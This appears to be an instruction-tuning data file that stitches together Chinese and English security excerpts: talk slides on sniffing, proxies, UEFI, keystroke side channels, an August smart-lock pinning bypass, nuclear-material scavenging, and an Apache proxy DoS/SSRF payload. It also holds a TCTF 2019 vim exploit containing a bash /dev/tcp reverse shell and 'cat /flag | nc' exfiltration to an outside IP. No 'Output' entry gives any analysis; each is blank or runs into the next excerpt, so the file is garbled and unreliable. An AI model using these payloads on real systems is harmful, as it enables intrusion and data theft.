The ever famous ettercap provides this
function in an excellent way.!
!
❖ Still need to be able to sniff trafﬁc going to
from your target (throwing star works well
for this if you have physical access.!
❖ Switches can be conﬁgured to check for,
deny, and alert on this attack.!
❖ Used in conjunction with other tools.
Actually doing something with trafﬁc once you have it…
Proxies
Multiple tools provide this
service:!
❖ Burp!
❖ Mallory!
❖ Squid
Proxies
Burp Suite
Java, runs on almost anything, lots of
options in the free version, paid has even
more.!
!
❖ Just Works most of the time.!
❖ Will hold http gets/posts based ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
WMCTF 2022 部分 WRITEUP
前⾔
WEB
subconverter
RCE?
⽂件写⼊
任意⽂件读取
构造quickjs脚本
RCE 链
RCE!
⼩插曲
easyjeecg
Java
ssrf
spark
bash延时"注⼊"
交互shell
6166lover
信息泄露
代码审计
cpython简单的沙箱逃逸
数据恢复?
k8s 容器逃逸
PWN
Ubuntu
MISC
Hacked_by_L1near
permessage-deﬂate
Checkin
2
作者:⽩帽酱
这次WMCTF拿了3个⼀⾎
题⽬设计⾮常有趣  其中还有⼏个0day  很多实际渗透遇到的问题也考虑到了
题⽬给了⼀个开源的代理订阅转换器
是个C++的项⽬
拿到源码 ⾸先先寻找路由 查看鉴权逻辑
前⾔
WEB
subconverter
3
/*
webServer.append_response("GET", "/", "text/plain", [](RESPONSE_CALLBACK_
ARGS) -> std::string
{
return "subconverter " VERSION " backend\n";
});
*/
webServer.append_response("GET", "/version", "text/plain", [](RESPONSE_CA
LLBACK_ARGS) -> std::string
    {
        return "subconverter " VERSION " backend\n";
    });
webServer.append_response("GET", "/refreshrules", "text/plain", [](RESPON
SE_CALLBACK_ARGS) -> std::string
    {
        if(global.accessToken.size())
        {
            std::string token = getUrlArg(request.argument, "token");
            if(token != global.accessToken)
            {
                response.status_code = 403;
                return "Forbidden\n";
            }
        }
        refreshRulesets(global.customRulesets, global.rulesetsContent);
        return "done\n";
    });
webServer.append_response("GET", "/readconf", "text/plain", [](RESPONSE_C
ALLBACK_ARGS) -> std::string
    {
        if(global.accessToken.size())
        {
            std::string token = getUrlArg(request.argument, "token");
            if(token != global.accessToken)
            {
                response.status_code = 403;
                return "Forbidden\n";
            }
        }
        readConf();
        if(!global.updateRulesetOnRequest)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
src/main.cpp
C++
复制代码
4
            refreshRulesets(global.customRulesets, global.rulesetsContent
);
        return "done\n";
    });
webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONS
E_CALLBACK_ARGS) -> std:...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

大海捞针：使用沙箱捕获多个零日漏洞
李琦
安全开发工程师
金权
漏洞挖掘和利用工程师
2019-5-30
关于我们
李琦 (@leeqwind)
360 核心安全高级威胁自动化团队
安全开发工程师
金权 (@jq0904)
360 核心安全高级威胁自动化团队
漏洞挖掘和利用工程师
• 高级威胁自动化和沙箱
• 使用沙箱发现在野 0day 漏洞
大纲
无处不在的网络攻击
我们至今捕获的五次在野利用 0day 漏洞的攻击事件
CVE-2018-15982
捕获到一次使用新的 Flash 0day (CVE-2018-15982) 针对政府机
构的国际网络攻击。
2018-11
CVE-2018-8174
首家捕获新的使用浏览器 0day 漏洞 (CVE-2018-8174) 的 APT MS
Office 攻击。该漏洞影响当时最新版的 Internet Explorer 浏览
器和所有使用 IE 内核的应用程序。
2018-04
2018-06
CVE-2018-5002
全球首家捕获在野利用的 Flash 0day 漏洞 (CVE-2018-5002)。
该漏洞影响 Adobe Flash Player 29.0.0.171 和更早的所有版
本。
2017-12
CVE-2018-0802
全球首家捕获  噩梦公式二代  (CVE-2018-0802) 0day 漏洞，
2018年微软修复的首个在野 0day 漏洞。
CVE-2017-11826
全球独家捕获在野利用的 0day 漏洞 (CVE-2017-11826)。 这是中
国安全厂商捕获的第一个 Office 在野 0day 攻击。
2017-09
无处不在的网络攻击
1
10
100
1000
10000
100000
1000000
doc
docm
docx
eml
html
hwp
msi
nsis
pdf
ppt
pptm
pptx
rtf
swf
vbs
xls
xlsm
xlsx
exe
dll
others
Flash
HWP
IE
Kernel
Office
PDF
CVE-2012-0158
CVE-2015-1641
CVE-2015-1726
CVE-2015-2545
CVE-2016-7255
CVE-2017-11882
CVE-2017-8570
CVE-2018-0798
CVE-2018-0802
CVE-2018-4878
从 2018-03 至 2019-03 期间我们监测到的部分 N-day 漏洞攻击文件统计
部分文件类型分类
漏洞模块分类
部分漏洞计数
高级威胁自动化
• 大规模的样本云
• 静态反病毒引擎
• AVE QEX QVM
• 样本预筛选策略
• 沙箱服务器集群
• 虚拟机隔离环境
• 沙箱自动化检测引擎
• 规则评分系统
• 检测结果告警和响应
样本云
分布式调度
扫描和筛选
搜索
告警
订阅
数据汇集
中心
工作服务器
工作服务器
工作服务器
数据源和预先筛选
沙箱服务器集群
面向使用者
高级威胁自动化
• 大规模的样本云
• 静态反病毒引擎
• AVE QEX QVM
• 样本预筛选策略
• 沙箱服务器集群
• 虚拟机隔离环境
• 沙箱自动化检测引擎
• 规则评分系统
• 检测结果告警和响应
虚拟机镜像中心
沙箱环境
规则评分
日志
报告
日志处理
虚拟机
操作
VM
该怎么做？
沙箱检测引擎
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
• 轻量级 😀
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
• 最初的方案：动态库
• 注入目标进程执行检测功能
• 挂钩各系统动态库导出函数
• 轻量级 😀
• 这样就可以了吗？
沙箱检测引擎
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测模块
运行
进程
注入检测模块
消息
运行 + 注入
检测模块
辅助进程
目标进程
子进程
Hook
Exploit
VEH
Logging
检测模块
Hook
Exploit
VEH
Logging
检测...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Network Protocol Reverse Engineering
Literature Survey for “Eavesdropping on the Machines”
Presented 2016-08-05 at DEF CON 24 by Tim Estell and Katea Murray
Prior DEF CON Talks
DC22 - Jesus Molina presented “Learn how to control every room at a luxury hotel remotely: the
dangers of insecure home automation deployment”. In-depth look at a specific protocol, but no
repeatable process for NPRE.
DC 22 – Geoff McDonal presented “Meddle: Framework for Piggy-back Fuzzing and Tool
Development”, arguing “Why bother spending time understanding the protocol just to try break
it?”. His fuzzing tool sidesteps NPRE?
DC 22 – Dustin Hoffman and Thomas Kinsey presented “What the Watchers See: Eavesdropping
on Municipal Mesh Cameras for Giggles (or Pure Evil)” where they decoded an undocumented
protocol (i.e., NPRE). But they didn’t focus on a repeatable process for you to reverse your own
protocol.
DC 23 – Peter Shipely and Ryan Gooler presented “Insteon' False Security And Deceptive
Documentation” where they asserted the published protocol documentation from Insteon is
incorrect and deceptive. But no generalized process for NPRE.
Summary of Research
Published research for Network Protocol Reverse Engineering (NPRE) has addressed many challenges.
The Protocol Informatics Project (PI Project) [Beddoe 2004] accomplished PRE using network traces and
two string alignment algorithms, Needleman-Wunsch and Smith-Waterman. A Semi-automated
approach [Gopalratnam 2006] uses packets from the protocol of interest and at least one packet with
the fields labeled. Gaussian models are used to cluster the field and provide information to the user
about field values. They note their algorithm does not scale well with the number of fields being
analyzed or the size of the messages.
Some researchers state that the limitation of network traces is a lack of protocol semantics as network
traces only contain syntactic information and cannot provide the full protocol grammar [Caba...


Instruction: 请分析这段安全相关的文本内容


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

1
SweetPotato中EFS提权错误
各位师傅晚上好，今天我在虚拟机中测试SweetPotato，在Win10中是正常运⾏的，但是在Win2016中
⽆法正常运⾏。SeImpersonatePrivilege开启是正常开启的，通过Procmon查看发现没有访问成功？
Windows2016（提权失败）：
Windows10（提权成功）：


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

The follow steps can be used to bypass the certificate pinning used by the August Smart phone
app without needing to jailbreak the device.
Step 1: Open settings
Step 2: Press and hold the application version number.
Step 3: Enter "DreadfulDow" in the prompt. The prompt is case sensitive.
Step 4: Tap on https://apiproduction.august.com to change webservice the application will use.
Step 5: Tap other to specify a custom url.
Step 6: Enter url of server you control which can relay requests to August's server. (Both HTTP
and HTTPS can be used.)
Step 7: Monitor to, modify, and otherwise mess with traffic between the app and the August
services.


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Take advantage of randomness
Frank Tse
Nexusguard
Agenda
What is random
Some applications of random
Detecting anomalies from randomness
Mitigating ‘random’ attacks
1
2
3
4
Visualizing randomness
5
About::me
From Hong Kong
Researcher in DDoS
I like RFC
IT Security
Identify them correctly
Take actions accordingly
Block the known bad
Verify the known good
Track the uncertain
Challenge the suspicious
DDoS:
Good Human
 > Adult, Kid, Infant
Bad Human
 > Smart, not-so-smart
Good Bot (inhuman)
Bad bot (inhuman)
General IT security vs DDoS
/dev/random
Entropy: initial seeds for random number generation
kern.random.sys.seeded
 non-blocking while reading
kern.random.sys.harvest.ethernet
 LAN traffic
kern.random.sys.harvest.point_to_point  P2P interface
kern.random.sys.harvest.interrupt
 HW interrupt (Mouse, keyboard)
kern.random.sys.harvest.swi
 SW interrupt  (exceptions)
Initializing seed for random during boot up (HW)
Entropy: initial seeds for random number generation
If I’m running on VM
[ 0.000000] Booting paravirtualized kernel on KVM
virtio-rng: a driver for feeding entropy between VM guest and host
Problem: I don’t trust virto-rng
Solution: entropy from remote server
entropy.ubuntu.com
Angers Bridge, collapsed on Apr-16, 1850, due to soldiers marching across it.
aka. “Stuck in synchronization”
2009 MAY 19, Storm Codec [ Baofeng] (暴风影音) brings down DNSpod.
Due to lack of random back-off and sleep mechanism
Routing protocol randomized hello timers to avoid ‘stuck in synchronization”
RFC4271 – Border Gateway Protocol v4
To minimize the likelihood that the distribution of BGP messages by a given BGP speaker will contain
peaks, jitter SHOULD be applied to the timers associated with MinASOriginationIntervalTimer,
KeepaliveTimer, MinRouteAdvertisementIntervalTimer, and ConnectRetryTimer. A given BGP speaker
MAY apply the same jitter to each of these quantities, regardless of the destinations to which the
upd...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

TCTF 2019
TCTF 2019
PWN
vim
zerotask
plang
Reverse
Elements
Fixed Point
sanitize
Web
Ghost Pepper
Wallbreaker Easy
Crypto
babyrsa
MISC
ﬂropyd
Neuron Break
http://ctf.0ops.sjtu.cn/ 23 March 2019, 06:00 UTC — 25 March 2019, 06:00
UTC Nu1L
PWN
vim
a
stepperm_state_Tbuﬀer
freegotbuﬀerfreegot
system
from pwn import *
from hashlib import sha256
import string
import sys
system = 0x004C9163
free_got = 0x8a8238
# cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/6666<&1';"
# # cmd = 'cat /flag | nc 111.230.94.113 88;'.ljust(0x4f) + p64(system)
# cmd = "echo 1 | nc 111.230.94.113 88\x00".ljust(0x2f) + p64(system)
# cmd += p64(0x4036b0) + p64(0x4036c0) + p64(0x4036d0) + p64(0x4036e0) +
p64(0x4036f0) + "\x00"
# cmd = cmd.ljust(0x82-0x20)
# cmd = cmd[::-1]
# context.endian = 'big'
# ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
# ss = ss.replace('lmnopqrs',p64(free_got-0x30))
# ss = ss.replace('tu','\x73u')
# for i in cmd:
#     ss += i
# for i in range(0x26,0x30):
#     ss += chr(i)
# ss = ss.ljust(0x300)
# for i in range(0,0x21):
#     ss += chr(i)
# for i in cmd:
#     ss += i
# for i in range(0x83,0xff):
#     ss += chr(i)
# ss = ss.replace('\xb6',' ')
# ss += '.'
# ss = ss.replace('d8d9dadbdcdddedf'.decode('hex'),p64(free_got-0x30))
# second
cmd = "bash -c 'bash&>/dev/tcp/111.230.94.113/66<&1';"
# cmd = ';cat /f* | nc 111.230.94.113 88\x00' + p32(system)*2
# cmd = cmd.ljust(0x26+10,"\x00")[::-1]
free_got = 0x8a8238
system = 0x004C9163
context.endian = 'big'
ss =
'VimCrypt~04!\xff\xff\xff\x9e0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLM
NOP'
ss = ss.replace('lmnopqrs',p64(free_got-0x30))
ss = ss.replace('tu','\x7cu')
# for i in cmd:
#     ss += i
for i in range(0+6,0x12):
    ss += chr(i)
cmd = cmd.ljust(0x41-0x12,'A')
print 'exec cmd,',cmd
cmd = cmd[::-1]
for i in cmd:
    ss += i
ss = ss.ljust(0x8f,' ')
print hex(len(ss))
ss = ss.replace('\n\x0b\x0c\r\x0e\x0f\x10\x11',p64(system))
eee = ss
open('test','wb').write(ss)
# sys.ex...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

THE RADIOACTIVE BOY
SCOUT:
NOW EVERYONE CAN GET
INTO THE NUCLEAR ARMS
RACE
WHAT IS A HACKER
• SOMEONE VERY CREATIVE
• AN EXPLORER
• REVERSE ENGINEER
• SOMEONE WHO DOES’T HAVE A BOX
TO THINK OUT OF
• DOESN’T DRINK THE KOOLAIDE
• BOLDLY GOES WHERE NO MAN HAS
GONE BEFORE
RADIATION, GAMMA RAYS
• HIGH ENERGY PHOTONS
• CESIUM 137
• COBALT 60
NEUTRONS
• PRODUCED BY A REACTOR
• NO CHARGE
• CAN MAKE ELEMENTS RADIOACTIVE
RADIATION,ALPHA,BETA,
PARTICLES
• ALPHA PARTICLES, HELIUM NUCLEUS
+2 CHARGE
• BETA PARTICLES, ELECTRON ,-1
CHARGE
• ONLY DANGEROUS IF INHALED OR
INGESTED
 ATTACKS IN THE PAST THAT
COULD HAVE UTILIZED
• RUSSIAN POLONIUM 210 INGESTION
•  IN 1984 THE FOLLOWERS OF
BHAGWAN SHREE RAJNEESH
SPRAYED SALMONELLA INTO SALAD
BARS IN ANTELOPE COUNTRY
• IN 1966-7 THE CIA AND DEFENSE
DEPT SPRAYED A HARMLESS
SUBSTANCE ON TO THE TRACKS OF
TWO NYC SUBWAY LINES
PASITIVE DETECTORS
• GEIGER COUNTER
• ION CHAMBER SURVEY
• GAMMA SCINTILLATION DETECTOR
• COUNTER  MEASURES
ACTIVE DETECTORS
• ILUMINATE  OBJECTS  WITH
NEUTRONS OR GAMMA RAYS
• NUCLEAR INTERESTING OBJECT WILL
PRODUCE NEUTRONS
• COUNTER MEASSURES NONE
• DRAWBACKS, IT MIGHT SET OFF A
CRUDLEY MADE ATOM BOMB
OVER VIEW OF DAVID HAHN
• LIVES IN  A SUBURB  OF DETROIT
• BOY SCOUT,ATOMIC ENERGY MERIT
BADGE
SOCIAL ENGINEER
• PROFESSOR HAHN
• CZECH REPUBLIC,SAMPLES
URANINITE AND PITCHBLEND
• PROFESSOR PHYSICS INSTRUCTOR
CON SOME GOVERNMENT OFFICALS
• RECEIVED A REPLY FROM ONE OUT
OF 5 LETTERS
• LEARNED FROM GOVERNMENT
BERYLLIUM PRODUCES NEUTRONS
DAVID HAHN THE CHEMIST
• GOLDEN BOOK OF CHEMISTRY
EXPERIMENTS
• GUN POWER
• NITRIC ACID
• YELLOW CAKE
THE QUEST FOR FISSIONABLE
FUEL
• URANIUM-235,233,PLUTONIUM-239,240
• THORIUM-232 BECOMES 233 +
NEUTRON
• LANTERN MANTELS CONTAIN
THORIUM
• COPIOUS AMOUNT OF MANTELS
THE NEUTRON GUN
• A DEVICE TO TRANSFORM ELEMENTS
• ALPHA PARTICLES FIRED AT
ALUMINUM OR BERYLLIUM PRODUCE
NEUTRONS
• AMERICIUM 241 FOUND IN SMOKE
DETECTORS PRODUCES ALPHA
PARTICLES
• NEED AT LEAST 100 DETECTORS
NEUTRON GUN 2
• RA...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Module 2
Typical goals of malware and their
implementations
https://github.com/hasherezade/malware_training_vol1
Introduction
Malware: missions and tactics
Malware: missions and tactics
• First questions that we need to answer analyzing malware: WHAT?
• What is the main purpose (mission) of tha malware?
• What is the malware family?
• Other questions that follow: HOW?
• How are the goals implemented?
• Are the used techniques novel/similar to known implementations?
• Possible actor: WHO?
• Cybercrime? Nation-State? Level of sophistication?
Malware: missions
• Most common malware missions:
• Extortion (ransomware)
• Financial fraud and stealing of credentials (i.e. Banking trojans, card number stealers)
• Long-run espionage operations (RATs, spyware)
• Short run-espionage operations (stealing documents)
• Botnets for other attacks (i.e. DDoS bots, spamming bots, click-fraud, loading of secondary
malware)
• Illegitimate usage of resources (i.e. proxy botnets, cryptocurrency miners)
• Sometimes multiple goals can be implemented in one executable
Malware: families
• Trending malware families
• https://any.run/malware-trends/
• https://blog.malwarebytes.com/reports/2020/02/malwarebytes-labs-releases-2020-state-of-
malware-report/
Malware: tactics
• MITRE database (https://attack.mitre.org/tactics) –set of common tactics used by
malware
• Depending on malware family, the authors may be interested in achieving different goals,
i.e.
• Persistence
• Defense Evasion
• Stealing Credentials
• Exfiltration
• Lateral Movements
• Manipulation/Destruction
Malware: tactics
From: https://attack.mitre.org/tactics


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

\
I am a legend
Celine & Elie Bursztein
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Digital Collectible Card Game
Released by Blizzard in 2014
Based of World of Warcraft
universe
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Sometimes  too interesting leads to
un-intended consequences
Painting by http://www.jason-w.com/blog/the-fall-of-lordaeron
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Game complexity generates exploitable biases
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Outline
1. Finding undervalued cards
2. Predicting opponent deck
3. Predicting the game outcome
4. Incoming alien invasion (or not)
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
You hero
Opponent
hero
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Hero health
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
Deck
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
hand
Celine & Elie Bursztein
I am a legend - Defcon 2014
https://www.elie.net/hs
mana pool
Celine & Elie Bursztein
I am a leg...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Extreme Privilege Escalation On Windows 8/UEFI Systems
Corey Kallenberg
Xeno Kovah
John Butterworth
Sam Cornwell
ckallenberg@mitre.org, xkovah@mitre.org
jbutterworth@mitre.org, scornwell@mitre.org
The MITRE Corporation
Approved for Public Release
Distribution Unlimited. Case Number 14-2221
Abstract
The UEFI speciﬁcation has more tightly coupled the bonds of the operating system and the platform
ﬁrmware by providing the well-deﬁned “Runtime Service” interface between the operating system and
the ﬁrmware. This interface is more expansive than the interface that existed in the days of conventional
BIOS, which has inadvertently increased the attack surface against the platform ﬁrmware. Furthermore,
Windows 8 has introduced an API that allows accessing this UEFI interface from a privileged userland
process. Vulnerabilities in this interface can potentially allow a privileged userland process to escalate its
privileges from ring 3 all the way up to that of the platform ﬁrmware, which attains permanent control
of the very-powerful System Management Mode. This paper discusses two such vulnerabilities that the
authors discovered in the UEFI open source reference implementation and the techniques that were used
to exploit them.
1
Contents
1
Introduction
3
2
Runtime Services
3
2.1
Variable Interface . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2
Capsule Update . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.1
Capsule Update Initiation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
4
2.2.2
PEI Phase Capsule Coalescing
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
2.2.3
DXE Phase Capsule Processing . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5
3
Capsule Update Vulnerabilities
6
3.1
Coalescing Vulnerability . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
7
3.2
Envelope Vulnerability . . . . . . . . . . . ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

本书由Meji制作,于广州,2002年11月.
注意,本书的一切所有权及版权归译者,著者及中国电力出版社所有,一切由本电子版引发之民事刑事纠纷与本人
无关.本电子书的制作纯粹处于传播知识之目的,禁止将本电子书用作盈利之目的,若有恣意妄为者后果自负.
PDF 文件以 "FinePrint pdfFactory Pro" 试用版创建   http://www.pdffactory.com


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

http://Irongeek.com
Adrian Crenshaw
Project site:
http://www.irongeek.com/i.php?page=security/programmable-hid-usb-keystroke-dongle
http://Irongeek.com
 Tenacity Solutions
http://www.tenacitysolutions.net/
 Kentuckiana ISSA
http://www.issa-kentuckiana.org/
 PJRC
http://www.pjrc.com/
http://Irongeek.com
 I run Irongeek.com
 I have an interest in InfoSec
education
 I don’t know everything - I’m just a
geek with time on my hands
http://Irongeek.com
 I was given a device called a Phantom Keystroker as
a speaker’s gift for doing a FireSide talk at
Shmoocon 2010
 The Keystroker was meant to annoy someone by
sending keystrokes and mouse movements to their
computer
 But, what if it was programmable?
http://Irongeek.com
 Darren Kitchen (media mogul)
and Robin Wood (code deity)
 I knew Darren had been working
with the U3 thumb drives for
automated attacks, so I went to
him with the idea
 Devious minds think alike! They
were already developing it!
 They are working on a product
(USB Rubber Ducky):
 http://www.hak5.org/store
Darren Kitchen http://hak5.org
Robin Wood
http://digininja.org
http://Irongeek.com
 For those that like to “Go ugly early”, hold on for
the rest of this presentation
 Three notes in my defense:
1.
I’m new to microcontrollers
2.
I suck at soldering
(Like an epileptic alcoholic with DTs soldering with
an aluminum baseball bat)
3.
I apparently suck at using rotary tools too
http://Irongeek.com
 Likely types faster than you can, without errors
 Works even if U3 autorun is turned off
 Draws  less attention than sitting down in front of the
terminal would. The person turns their head for a minute,
the pen-tester plugs in their programmable USB key stroke
dongle, and Bobs your uncle, instant pwnage.
 Can also be set to go off on a timer when you know a target
will be logged in
 Just use your imagination!
http://Irongeek.com
 Add a user
 Run a program
 Copy files to ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

ChatGPT技术分析
刘群 LIU Qun
华为诺亚方舟实验室 Huawei Noah’s Ark Lab
在线讲座 (an online lecture)
2023-02-16
ChatGPT概览
ChatGPT的出色表现
ChatGPT的关键技术
ChatGPT的不足之处
ChatGPT未来发展方向
Content
ChatGPT概览
ChatGPT的出色表现
ChatGPT的关键技术
ChatGPT的不足之处
ChatGPT未来发展方向
Content
ChatGPT轰动效应
▶ 用户数：5天100万，2个月达到1亿
▶ 所有人都开始讨论ChatGPT，传播速度堪比
新冠病毒
▶ Google内部拉响红色警报
▶ Google紧急仅仅发布Bard，但因发布现场出
现错误导致股票蒸发8%
▶ 微软追加投资OpenAI一百亿美元
▶ 微软迅速推出加载了ChatGPT的New Bing，
并计划将ChatGPT接入Office套件
▶ 国内外大厂迅速跟进
1 total: 40
ChatGPT官方博客：简介
ChatGPT: Optimizing
Language Models
for Dialogue
We’ve trained a model called ChatGPT which interacts in a
conversational way. The dialogue format makes it possible for
ChatGPT to answer followup questions, admit its mistakes,
challenge incorrect premises, and reject inappropriate requests.
ChatGPT is a sibling model to InstructGPT, which is trained to
follow an instruction in a prompt and provide a
detailed response.
November 30, 2022
13 minute read
We are excited to introduce ChatGPT to get users’ feedback and learn about its strengths and weaknesses. During the research
preview, usage of ChatGPT is free. Try it now at chat.openai.com.
We are excited to introduce ChatGPT to get users’ feedback and learn about its strengths and weaknesses. During the research
preview, usage of ChatGPT is free. Try it now at chat.openai.com.
TRY CHATGPT ↗
ChatGPT Blog: https://openai.com/blog/chatgpt/
2 (1) total: 40
ChatGPT官方博客：简介
The main features of ChatGPT highlighted in the official blog:
▶ answer followup questions
▶ admit its mistakes
▶ challenge incorrect premises
▶ reject inappropriate requests
ChatGPT Blog: https://openai.com/blog/chatgpt/
2 (2) total: 40
ChatGPT模型大小
ChatGPT是基于GPT-3的Davinci-3模型开发的：
3 (1) total: 40
ChatGPT模型大小
GPT-3论文中提供了一下不同规模的版本：
OpenAI对外提供的API提供了以下4个模型：
3 (2) total: 40
ChatGPT模型大小
根据数据对比，Davinci模型应该对应于最大（175B）的GPT-3模型：
On the Sizes of OpenAI API Models
Using eval harness, we can deduce the sizes of OpenAI API models from their performance.
May 24, 2021 · Leo Gao
OpenAI hasn’t officially said anything ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Exploiting Internet Surveillance Systems
Defcon 18, 2010
Decius
The “Great Debate”
How should the information infrastructure of the
future balance the individual’s desire for privacy
with the state’s interest in monitoring suspected
criminals?
Steve Jackson Games
Communications Assistance for Law Enforcement Act
 Communications Assistance for Law Enforcement Act
– Passed in 1994
– Requires Telecommunications Companies to cooperate with the interception of
traffic on their networks by providing technical interfaces for that purpose
– Originally did not apply to “Information Services.”
 In 2005 the FCC ruled that CALEA applies to broadband Internet providers
– The Cisco Architecture for Lawful Intercept pre-dated this ruling
– By 2005 Some European countries already required these interfaces for Internet
networks
– Providers may voluntarily create these interfaces even when not required to
• The provider is going to have to grant access to the communications somehow
• A well defined interface makes wiretapping less disruptive to network operations
IETF Policy on Wiretapping (RFC 2804)
The IETF will not consider requirements for wiretapping in protocol designs
– The IETF is an international body and can’t address the laws of every country
– Wiretapping the Internet is either easy or its impossible
• RFC 1984 – Development of the Internet requires wide availability of strong
cryptographic technology
– The Internet should be free from security loopholes
• Adding a requirement for wiretapping makes protocols more complex
– Complexity begets vulnerability
• The interfaces that provide wiretap access could be used with authorization
– “On the other hand,” wiretapping technologies should be openly described
• “The IETF believes that the publication of such mechanisms, and the
publication of known weaknesses in such mechanisms, is a Good Thing.”
• In keeping with this philosophy, Cisco and the IETF published RFC 3924 –
The Cisco Architecture for Lawful Intercept in I...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Sniffing Keystrokes With Lasers/Voltmeters
Sniffing Keystrokes With Lasers/Voltmeters
Side Channel Attacks Using Optical Sampling Of
Mechanical Energy And Power Line Leakage
 Copyright 2009 Inverse Path Ltd.
Andrea Barisani
Chief Security Engineer
<andrea@inversepath.com>
http://www.inversepath.com
Daniele Bianco
Hardware Hacker
<daniele@inversepath.com>
Introduction
DISCLAIMER:
All the equipment and/or circuits and/or schematics provided in the
presentation must be treated as examples, use the presented
information at your own risk! Safety first!
Copyright 2009 Inverse Path Ltd.
               Andrea Barisani  <andrea@inversepath.com>
               Daniele Bianco  <daniele@inversepath.com>
This work is released under the terms of the Creative Commons
Attribution-NonCommercial-NoDerivs License available at
http://creativecommons.org/licenses/by-nc-nd/3.0.
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
Two
Unconventional Attacks
● Attack 1: Power Line Leakage detection against wired PS/2
keyboards
● Attack 2: Optical Sampling of Mechanical Energy against
laptop keyboards
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
Why bother ?
● Getting bored by software...hardware hacking is good fun!
● Unconventional side channel attacks
● Relatively cheap hardware
● FRIGGING LASER BEAMS!
● As always....more important: girls will melt when you show
this...
● This is still a work in progress, we are planning to
considerably refine the data/equipment presented in the
next months
Sniffing Keystrokes With Lasers/Voltmeters
 Copyright 2009 Inverse Path Ltd.
TEMPEST
● What is TEMPEST ?
Transmitted Electro-Magnetic Pulse / Energy Standards & Testing
Tiny ElectroMagnetic Particles Emitting Secret Things
The Emissions Might Produce Extremely Sweet Talks
● Investigations and studies of Compromising Emanations or
Fortuitous Leakage
● Unintentional intelligence-bearing signals which, if
intercepted and analyzed, may di...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

apache
0x00
apachercepayloaddos
0x01
 ProxyRequests On
GET http://www.baidu.com HTTP/1.1
apache
unix socket
48payload
GET unix:/A*4096/aaa|http://www.baidu.com HTTP/1.1
48unix socket
unix
payload
GET unix:/A*4096/aaa|aaa HTTP/1.1
httpd
0x02
coredumpapache coredump
apachecoredump
1. ulimit -S -c unlimited
2.  apache  CoreDumpDirectory /var/apache_coredump
3. chown  /var/apache_coredump  apache
anywaycoredump
 gdb httpd coredumpfilepath
gdbbt
proxy_util.c1746ap_proxy_get_worker_exstrchr
strchrurlnullstrchr
ap_proxy_de_socketfy
 unix:/dddd| strchrcNULLNULLNULLstrchr
doshttpdhttpdfork
48ssrfdosssrfdos
0x03
ssrfrewrite
RewriteRule ^/(.*) unix:/path|fcgi://localhost/$1 [P]
ssrfrewrite
unixunixsocketpathlimit
nullnull
